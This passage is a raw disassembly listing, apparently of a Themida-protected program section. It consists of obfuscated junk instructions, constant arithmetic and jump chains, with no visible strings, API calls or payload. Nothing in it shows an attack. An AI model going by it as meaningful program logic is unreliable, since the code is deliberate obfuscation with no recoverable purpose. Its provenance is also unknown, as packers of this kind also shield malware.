		mov	edx, 4C4F41AEh
		inc	edx
		xor	edx, 35CB474Bh
		and	edx, 2AC801E2h
		sub	edx, 0B953A681h
		or	edi, edx
		pop	edx
		shl	edi, 5
		push	edi
		xchg	edi, [esp+0Ch+var_C]
		not	edi
		jmp	loc_551374
; END OF FUNCTION CHUNK	FOR sub_5539DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553657


loc_55A79A:				; CODE XREF: sub_553657+84A9j
		xor	ebx, eax
		push	small word ptr [eax]
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_553657
; ---------------------------------------------------------------------------


loc_55A7A4:				; CODE XREF: Themida_:005519A1j
		add	esp, 4
		mov	dh, al
		pop	eax
		push	eax
		jmp	loc_556E94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55A7B0:				; CODE XREF: sub_556A70+CF4j
		add	edx, 4
		jmp	loc_559FB8
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55A7BB:				; CODE XREF: Themida_:00552531j
		push	esp
		pop	eax
		add	eax, 4
		push	esi
		mov	esi, 4
		jmp	loc_55A6BB
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	2BB9h
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_5598AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55A7E6:				; CODE XREF: sub_556A70+15AFj
		add	esp, 4
		jmp	loc_557CBC
; ---------------------------------------------------------------------------


loc_55A7F1:				; CODE XREF: sub_556A70+1FDj
		mov	eax, [esp+0]
		add	esp, 4
		add	esp, 4
		jmp	loc_552622
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55A7FF:				; CODE XREF: Themida_:00558002j
		sub	edx, 1B7975C1h
		add	edx, ebx
		jmp	loc_55982A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A9A4


loc_55A80C:				; CODE XREF: sub_55A9A4-4ADCj
		shr	cl, 2
		shr	cl, 6
		add	cl, 3Ch
		add	bl, cl
		mov	ecx, [esp-4+arg_0]
		jmp	loc_559F06
; END OF FUNCTION CHUNK	FOR sub_55A9A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55A81F:				; CODE XREF: sub_556A70+23F2j
		sub	eax, edi
		push	ecx
		jmp	loc_555B07
; ---------------------------------------------------------------------------


loc_55A827:				; CODE XREF: sub_556A70+CC6j
		sub	ecx, 436B7536h
		jmp	loc_558077
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55A832:				; CODE XREF: Themida_:0055235Fj
		not	edx
		and	edx, 471B053Ch
		jmp	loc_557193
; ---------------------------------------------------------------------------


loc_55A83F:				; CODE XREF: Themida_:00558E4Cj
		xor	ecx, 41548009h
		jmp	loc_55242F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553B16


loc_55A84A:				; CODE XREF: sub_553B16+4D25j
		sub	[esp+arg_0], ebp
		add	[esp+arg_0], 50A97A7Eh
		pop	ebp
		mov	eax, [esp-4+arg_0]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0]
		pop	esp
		push	edx
		mov	edx, 62B805BAh
		push	edx
		push	eax
		pop	edx
		jmp	loc_552FB8
; END OF FUNCTION CHUNK	FOR sub_553B16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55A87B:				; CODE XREF: sub_556A70-B6j
		xor	edi, 3AFF6EE2h
		add	ebx, 31921E65h
		jmp	loc_5595AE
; ---------------------------------------------------------------------------


loc_55A88C:				; CODE XREF: sub_556A70-3B3Ej
		pop	eax
		xor	edx, ebp
		pop	ebp
		xor	edx, 2A116D2Ah
		jmp	loc_55C57B
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55A89B:				; CODE XREF: Themida_:00559365j
		pop	eax
		shl	ebx, 7
		jmp	loc_5515D6
; ---------------------------------------------------------------------------


loc_55A8A4:				; CODE XREF: Themida_:0055B809j
		mov	ebx, 38F1176Fh
		and	ebp, ebx
		pop	ebx
		push	edi
		push	345E3DACh
		pop	edi
		sub	edi, 36A23FA2h
		inc	edi
		add	edi, 77FA28ADh
		sub	ebp, edi
		pop	edi
		push	ecx
		mov	ecx, 75051178h
		add	ebp, ecx
		jmp	loc_55CE23
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


loc_55A8D0:				; CODE XREF: sub_5584F8+47E2j
		and	edx, ebx
		pop	ebx
		jmp	loc_558DB9
; END OF FUNCTION CHUNK	FOR sub_5584F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551E74


loc_55A8D8:				; CODE XREF: sub_551E74+2A4Fj
		add	ebx, edi
		add	ebx, 537929D8h
		pop	edi
		push	eax
		jmp	loc_55C1DB
; END OF FUNCTION CHUNK	FOR sub_551E74
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55A8E7:				; CODE XREF: sub_556A70-467Ej
		add	esp, 4
		jmp	loc_5560EE
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55A8F2:				; CODE XREF: Themida_:0055A20Dj
		add	eax, 2A525CFBh
		jmp	loc_558C5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55A8FC:				; CODE XREF: sub_556A70+24CAj
		push	[esp-8+arg_4]
		mov	ebp, [esp-4+arg_0]
		add	esp, 4
		add	esp, 4
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_55A913:				; CODE XREF: sub_556A70+572Dj
		add	eax, ecx
		pop	ecx
		pop	ebx
		push	5C6Ah
		mov	[esp-10h+arg_C], esi
		mov	esi, 1A3436ADh
		add	ebx, esi
		jmp	loc_551D4F
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


loc_55A92B:				; CODE XREF: sub_5584F8+CF8j
		push	1EF73FCAh
		pop	ebp
		jmp	loc_556238
; END OF FUNCTION CHUNK	FOR sub_5584F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55A936:				; CODE XREF: sub_556A70-546Dj
		pop	edi
		jmp	loc_55B529
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55A93C:				; CODE XREF: Themida_:00550B43j
		not	edx
		shl	edx, 5
		sub	edx, 0E8293FDCh
		add	ebx, edx
		pop	edx
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		push	59B3h
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_55CC45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55A966:				; CODE XREF: sub_556A70+3F6Dj
		add	esp, 4
		sub	bl, 72h
		add	al, bl
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		push	7F24h
		mov	[esp+8+var_8], edx
		push	6EBDh
		mov	[esp+0Ch+var_C], ecx
		mov	ch, 0FCh
		jmp	loc_55BA42
; ---------------------------------------------------------------------------


loc_55A98E:				; CODE XREF: sub_556A70+4280j
		mov	ax, word ptr [esp+0Ch+var_C]
		push	4312h
		mov	[esp+10h+var_10], ecx
		push	505Ch
		jmp	loc_55C007
; END OF FUNCTION CHUNK	FOR sub_556A70

; =============== S U B	R O U T	I N E =======================================



sub_55A9A4	proc near		; CODE XREF: sub_559F2D+15B0j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00555EC5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00559F06 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055A80C SIZE 00000013 BYTES

		push	ebx
		mov	bh, 0D6h
		sub	bh, 0C8h
		add	bh, 4
		not	bh
		add	bh, 0DBh
		mov	al, bh
		pop	ebx
		jmp	loc_555EC5
sub_55A9A4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55A9BA:				; CODE XREF: sub_556A70+C2j
		add	edi, 463A5171h
		jmp	loc_552F96
; ---------------------------------------------------------------------------


loc_55A9C5:				; CODE XREF: sub_556A70+1432j
		xor	eax, ebx
		jmp	loc_55510D
; ---------------------------------------------------------------------------


loc_55A9CC:				; CODE XREF: sub_556A70-4441j
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		pop	eax
		jmp	loc_559AB1
; ---------------------------------------------------------------------------


loc_55A9DC:				; CODE XREF: sub_556A70-C2Fj
		pop	ecx
		jmp	loc_55A966
; ---------------------------------------------------------------------------


loc_55A9E2:				; CODE XREF: sub_556A70-5683j
		shl	ch, 7
		not	ch
		and	ch, 3Eh
		not	ch
		add	ch, 0B2h
		sub	ah, ch
		pop	ecx
		inc	ah
		push	ebx
		push	eax
		jmp	sub_553D17
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55A9FB:				; CODE XREF: Themida_:005535B3j
		xor	ebx, eax
		mov	dx, [esp]
		push	6F6Ch
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		push	edx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 25405218h
		sub	edi, 60944A77h
		push	eax
		mov	eax, 0C4AC079Fh
		jmp	loc_55AF79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55AA31:				; CODE XREF: sub_556A70-5C49j
		push	esi
		sub	esp, 4
		jmp	loc_557B60
; ---------------------------------------------------------------------------


loc_55AA3A:				; CODE XREF: sub_556A70+6ACj
		mov	edx, 22D275C8h
		xor	edx, edi
		xor	edi, edx
		xor	edx, edi
		not	edi
		jmp	loc_551858
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55AA4C:				; CODE XREF: Themida_:00558868j
		push	dword ptr [edi+eax*4]
		push	ebx
		mov	ebx, 31EF64ACh
		xor	[esp+4], ebx
		pop	ebx
		jmp	loc_55BB5E

; =============== S U B	R O U T	I N E =======================================



sub_55AA5F	proc near		; CODE XREF: sub_556A70-54B7j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00550B76 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00550E79 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00552536 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 00552B13 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005532C6 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00553CE3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005545E1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005588EB SIZE 00000008 BYTES

		push	ebx
		mov	ebx, 278A541Ah
		neg	ebx
		inc	ebx
		or	ebx, 6809562Dh
		xor	ebx, 9F4501Eh
		or	ebx, 2ED566F5h
		jmp	loc_552B13
sub_55AA5F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552634


loc_55AA7F:				; CODE XREF: sub_552634+737Dj
		add	edx, eax
		add	edx, 4DA278CDh
		push	esi
		push	edx
		mov	edx, 8FF7D52h
		jmp	loc_554075
; END OF FUNCTION CHUNK	FOR sub_552634
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55AA93:				; CODE XREF: sub_556A70+4225j
		mov	[esp+1Ch+var_1C], ecx
		mov	ecx, 4
		jmp	loc_550AEF
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55AAA0:				; CODE XREF: Themida_:0055940Fj
		xor	al, 9Dh
		add	bl, 34h
		jmp	loc_551C85
; ---------------------------------------------------------------------------


loc_55AAAA:				; CODE XREF: Themida_:00558333j
		inc	ecx
		push	edx
		mov	edx, 54EA68BEh
		jmp	loc_55AB22
; ---------------------------------------------------------------------------


loc_55AAB6:				; CODE XREF: Themida_:005510FCj
		mov	eax, 7B631707h
		add	eax, 0E3D9265Dh
		mov	ebx, eax
		jmp	loc_553951
; ---------------------------------------------------------------------------


loc_55AAC7:				; CODE XREF: Themida_:0055C8ACj
		add	esi, 4F521115h
		sub	esi, 7B195AD8h
		push	ebx
		push	3E6D45D8h
		pop	ebx
		xor	ebx, 31B85802h
		add	esi, ebx
		pop	ebx
		add	esi, eax
		push	ecx
		mov	ecx, 292D7D3Ah
		shr	ecx, 7
		or	ecx, 3B3B1815h
		add	ecx, 0D459C2DBh
		sub	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	esi, 7B195AD8h
		push	ecx
		mov	ecx, 1C5D150Dh
		sub	ecx, 4BCD16B3h
		add	ecx, 21697089h
		jmp	loc_558E49
; ---------------------------------------------------------------------------


loc_55AB22:				; CODE XREF: Themida_:0055AAB1j
		sub	edx, 23FE11C0h
		jmp	loc_556FB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55AB2D:				; CODE XREF: sub_556A70-99Aj
		mov	[esp-14h+arg_10], ebx
		jmp	loc_555CF3
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55AB35:				; CODE XREF: Themida_:0055615Bj
		add	ebx, 53F14A0h
		mov	edx, ebx
		pop	ebx
		sub	edx, 0FFFFFFFFh
		xor	edx, 6E42A2Ch
		xchg	ebx, edx
		not	ebx
		xchg	ebx, edx
		sub	edx, 0A6F0B059h
		add	ebx, edx
		jmp	loc_555F5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55AB5A:				; CODE XREF: sub_556A70-3E34j
		xor	edx, [esp-4+arg_0]
		pop	esp
		push	edx
		jmp	loc_556036
; ---------------------------------------------------------------------------


loc_55AB64:				; CODE XREF: sub_556A70+33CCj
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp-12h+arg_C+2]
		mov	esp, [esp-12h+arg_C+2]
		mov	[esp-12h+arg_C+2], ebp
		push	43C1h
		jmp	loc_552011
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55AB86:				; CODE XREF: Themida_:00555C69j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_550A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55AB94:				; CODE XREF: sub_556A70+1C1Dj
		pop	eax
		xchg	edi, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], ebx
		push	ecx
		push	ebp
		jmp	loc_559C32
; END OF FUNCTION CHUNK	FOR sub_556A70

; =============== S U B	R O U T	I N E =======================================



sub_55ABA3	proc near		; CODE XREF: sub_556A70+A5j

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00550CE4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00552F51 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055CD74 SIZE 00000011 BYTES

		push	ebp
		push	746F6DBAh
		pop	ebp
		add	ebp, 0FFFFFFFFh
		jmp	loc_55CD74
sub_55ABA3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55ABB5:				; CODE XREF: sub_556A70-315Ej
		xchg	edi, [esp-18h+arg_14]
		pop	esp
		mov	[esp-1Ch+arg_18], eax
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_55ABC1:				; CODE XREF: sub_556A70+563Dj
		add	edx, ecx
		pop	ecx
		sub	edx, 0DEE561BAh
		push	edx
		sub	[esp-1Ch+arg_18], 338B101Bh
		pop	edi
		add	edi, 338B101Bh
		pop	edx
		and	ebx, edi
		mov	edi, [esp-24h+arg_20]
		push	430Fh
		mov	[esp-20h+arg_1C], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp-20h+arg_1C]
		xor	[esp-20h+arg_1C], edx
		jmp	loc_5514FA
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55ABFD:				; CODE XREF: Themida_:00558F8Bj
		add	ebx, edx
		pop	edx
		add	ebx, 3226997h
		sub	esp, 4
		jmp	loc_557CE3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55AC11:				; CODE XREF: sub_556A70+3ADj
		push	[esp-4+arg_4]
		pop	eax
		pop	[esp-4+arg_0]
		pop	esp
		push	[esp-0Ch+arg_8]
		push	[esp-8+arg_4]
		pop	ecx
		sub	esp, 4
		jmp	loc_55A0FE
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55AC2C:				; CODE XREF: Themida_:005585A0j
		push	esi
		mov	esi, 1C227E27h
		jmp	loc_555370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B403


loc_55AC37:				; CODE XREF: sub_55B403-6CEBj
		mov	ah, bl
		jmp	loc_559DCE
; END OF FUNCTION CHUNK	FOR sub_55B403
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55AC3E:				; CODE XREF: sub_556A70-5448j
		add	edi, ebx
		pop	ebx
		add	edi, 4
		xor	edi, [esp-0Ch+arg_8]
		xor	[esp-0Ch+arg_8], edi
		xor	edi, [esp-0Ch+arg_8]
		pop	esp
		add	esi, 4
		push	esi
		push	[esp-0Ch+arg_C]
		jmp	loc_552421
; ---------------------------------------------------------------------------


loc_55AC5B:				; CODE XREF: sub_556A70-2E3Cj
		mov	edx, 2
		add	ecx, edx
		pop	edx
		push	ecx
		push	[esp+0Ch+var_8]
		pop	ecx
		jmp	loc_556689
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55AC6E:				; CODE XREF: Themida_:0055A316j
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_556B88
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55AC7B:				; CODE XREF: sub_556A70-5434j
		mov	eax, esp
		push	edx
		mov	edx, 4
		add	eax, 73906D89h
		add	eax, edx
		sub	eax, 73906D89h
		pop	edx
		push	78D3h
		jmp	loc_55AA93
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		push	eax
		push	ecx
		mov	ecx, 408776E4h
		push	edx
		mov	edx, 31780468h
		sub	edx, 0BA4BDD2Ch
		xor	ecx, edx
		pop	edx
		and	ecx, 9A0352Eh
		jmp	loc_55263A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55ACBB:				; CODE XREF: sub_556A70-7F6j
		add	esp, 4
		mov	ebx, [esp-4+arg_0]
		add	esp, 4


loc_55ACC7:				; CODE XREF: sub_556A70-70Aj
		push	3E5Ch
		mov	[esp-4+arg_0], ebp
		push	ebx
		pop	ebp
		sub	esp, 4
		jmp	loc_552BE2
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55ACDC:				; CODE XREF: Themida_:005525C5j
		sub	esp, 4
		jmp	loc_558278
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55ACE7:				; CODE XREF: sub_556A70+9E1j
		xor	[esp-26h+arg_20+2], ebp
		xor	ebp, [esp-26h+arg_20+2]
		mov	esp, [esp-26h+arg_20+2]
		jmp	loc_55A98E
; ---------------------------------------------------------------------------


loc_55ACF5:				; CODE XREF: sub_556A70+319Cj
		add	esp, 4
		push	esi
		mov	esi, 47FB37A2h
		sub	ebx, 50330778h
		sub	ebx, esi
		add	ebx, 50330778h
		push	[esp-2Eh+arg_28+2]
		pop	esi
		jmp	loc_55B153
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55AD18:				; CODE XREF: Themida_:005569A3j
		mov	ebx, 4
		add	esi, ebx
		jmp	loc_5589C6
; ---------------------------------------------------------------------------


loc_55AD24:				; CODE XREF: Themida_:0055BFB4j
		pop	edx
		push	bx
		mov	bh, 86h
		add	ch, 88h
		jmp	loc_552AC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55AD31:				; CODE XREF: sub_556A70+DEEj
		pop	esi
		inc	edi
		jmp	loc_55327A
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55AD38:				; CODE XREF: Themida_:00557D11j
		push	47A8h
		mov	[esp], ebp
		push	6EB1h
		mov	[esp], edx
		mov	edx, 5FF9A502h
		push	ecx
		jmp	loc_5575FE
; ---------------------------------------------------------------------------


loc_55AD53:				; CODE XREF: Themida_:005559A5j
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5528C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B730


loc_55AD65:				; CODE XREF: sub_55B730-A98Bj
		or	ebx, ebp
		pop	ebp
		add	ebx, 3312FADFh
		push	0F8BCD972h
		jmp	loc_55601C
; END OF FUNCTION CHUNK	FOR sub_55B730
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55AD78:				; CODE XREF: sub_556A70-D6j
		shl	bh, 2
		jmp	loc_551DA3
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55AD80:				; CODE XREF: Themida_:0055CED3j
		sub	eax, 73C0129h
		xor	eax, 4D2E6911h
		sub	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_55792B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55AD9B:				; CODE XREF: sub_556A70-2407j
		or	esi, eax
		pop	eax
		or	esi, 2EAA733Fh
		sub	esi, 0C7EE07FBh
		add	edi, esi
		pop	esi
		add	eax, edi
		pop	edi
		push	edx
		mov	edx, 6BEA7E78h
		add	edx, 38397495h
		dec	edx
		shl	edx, 5
		inc	edx
		sub	edx, 5B614AC6h
		sub	edx, 291D16B9h
		add	eax, edx
		jmp	loc_55B67A
; ---------------------------------------------------------------------------


loc_55ADD4:				; CODE XREF: sub_556A70-56E0j
		pop	cx
		jmp	loc_55AE44
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55ADDB:				; CODE XREF: Themida_:0055B0FEj
		xor	ebp, 3F369554h
		mov	esi, ebp
		pop	ebp
		add	edx, esi
		jmp	loc_5570BA
; ---------------------------------------------------------------------------
		db 89h
; ---------------------------------------------------------------------------
		and	al, 24h
		add	dword ptr [esp], 4
		pop	ecx
		jmp	loc_55BF0F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55ADF8:				; CODE XREF: sub_556A70+D8Fj
		sub	ebx, 4
		jmp	loc_557BB6
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55AE03:				; CODE XREF: Themida_:0055C245j
		add	al, cl
		pop	ecx
		sub	al, 0E7h
		sub	al, bl
		add	al, 0E7h
		jmp	loc_55B3D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55AE11:				; CODE XREF: sub_556A70+390j
		add	ecx, 6F6B1CE6h
		pop	edx
		xor	ecx, [esp-1Eh+arg_18+2]
		xor	[esp-1Eh+arg_18+2], ecx
		xor	ecx, [esp-1Eh+arg_18+2]
		pop	esp
		movzx	eax, al
		mov	dx, word ptr [esp-22h+arg_1C+2]
		jmp	loc_55BAD6
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55AE2E:				; CODE XREF: Themida_:00551146j
		mov	eax, 4
		add	ebx, eax
		jmp	loc_5538E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55AE3A:				; CODE XREF: sub_556A70+731j
		mov	esi, 0F7E3236h
		jmp	loc_55518A
; ---------------------------------------------------------------------------


loc_55AE44:				; CODE XREF: sub_556A70+4366j
		add	ah, 0DDh
		sub	bl, ah
		jmp	loc_55B800
; ---------------------------------------------------------------------------


loc_55AE4E:				; CODE XREF: sub_556A70+3C0Ej
		push	[esp-4+arg_0]
		jmp	loc_559E82
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55AE56:				; CODE XREF: Themida_:00554E28j
		push	46D8h
		mov	[esp], ebx
		push	ecx
		mov	cl, 0Dh
		not	cl
		jmp	loc_558D07

; =============== S U B	R O U T	I N E =======================================



sub_55AE68	proc near		; CODE XREF: sub_5584F8-6179j

; FUNCTION CHUNK AT 00555E87 SIZE 00000011 BYTES

		push	ebx
		jmp	loc_555E87
sub_55AE68	endp


; =============== S U B	R O U T	I N E =======================================



sub_55AE6E	proc near		; CODE XREF: sub_556A70-3E76j

var_4		= word ptr -4
arg_2		= dword	ptr  6

; FUNCTION CHUNK AT 0055499E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005555AE SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0055851C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055984A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00559AA3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055B226 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055CAE5 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055CCAA SIZE 00000010 BYTES

		push	ebx
		jmp	loc_55CCAA
sub_55AE6E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_55AE74:				; CODE XREF: Themida_:0055A56Bj
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		xchg	edi, [esp]
		pop	esp
		btc	[esp], ax
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_55AE94:				; CODE XREF: Themida_:00557BFFj
		sub	edi, 75E114Ch
		inc	edi
		sub	edi, 0F2517252h
		jmp	loc_55B319
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55AEA6:				; CODE XREF: sub_556A70+5B12j
		mov	eax, 193779DDh
		add	eax, 5C7E776Eh
		not	eax
		or	eax, 73395F2Bh
		push	edi
		jmp	loc_55BD86
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		mov	edx, [esp]
		push	4559h
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_55675E
; ---------------------------------------------------------------------------


loc_55AECF:				; CODE XREF: Themida_:005599FFj
		mov	edi, [esp]
		add	esp, 4
		neg	esi
		sub	esi, 1E147DECh
		xor	esi, 5FAD0B11h
		jmp	loc_55B718
; ---------------------------------------------------------------------------


loc_55AEE8:				; CODE XREF: Themida_:005598E7j
		pop	edi
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5562AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55AEF7:				; CODE XREF: sub_556A70-22Fj
		mov	ebx, [esp+0Ch+var_C]
		jmp	loc_55CC98
; ---------------------------------------------------------------------------


loc_55AEFF:				; CODE XREF: sub_556A70-39ACj
		not	edi
		push	ebp
		mov	ebp, 58676783h
		shr	ebp, 8
		jmp	loc_5547D8
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55AF0F:				; CODE XREF: Themida_:00557BF3j
		mov	[esp], ebx
		mov	bh, 0AEh
		jmp	loc_55344C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55AF19:				; CODE XREF: sub_556A70-5279j
		add	ebx, esi
		jmp	loc_556ACE
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	0CEBh
		mov	[esp], ecx
		push	73CEh
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_552530
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ecx
		sub	esp, 4
		push	45D4h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		jmp	loc_55C24A
; ---------------------------------------------------------------------------


loc_55AF6B:				; CODE XREF: Themida_:00551BCAj
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_553959
; ---------------------------------------------------------------------------


loc_55AF79:				; CODE XREF: Themida_:0055AA2Cj
		sub	edi, eax
		pop	eax
		push	edi
		add	dword ptr [esp], 765C6D91h
		pop	edx
		sub	edx, 765C6D91h
		jmp	loc_55533E
; ---------------------------------------------------------------------------
		mov	ax, fs:[edx]
		jmp	loc_555ECD
; ---------------------------------------------------------------------------


loc_55AF99:				; CODE XREF: Themida_:00553DC0j
		add	ebx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	[esp], eax
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_5561E2
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	0E7h
		jmp	loc_55C208
; ---------------------------------------------------------------------------


loc_55AFD0:				; CODE XREF: Themida_:00551223j
		shr	edx, 1
		neg	edx
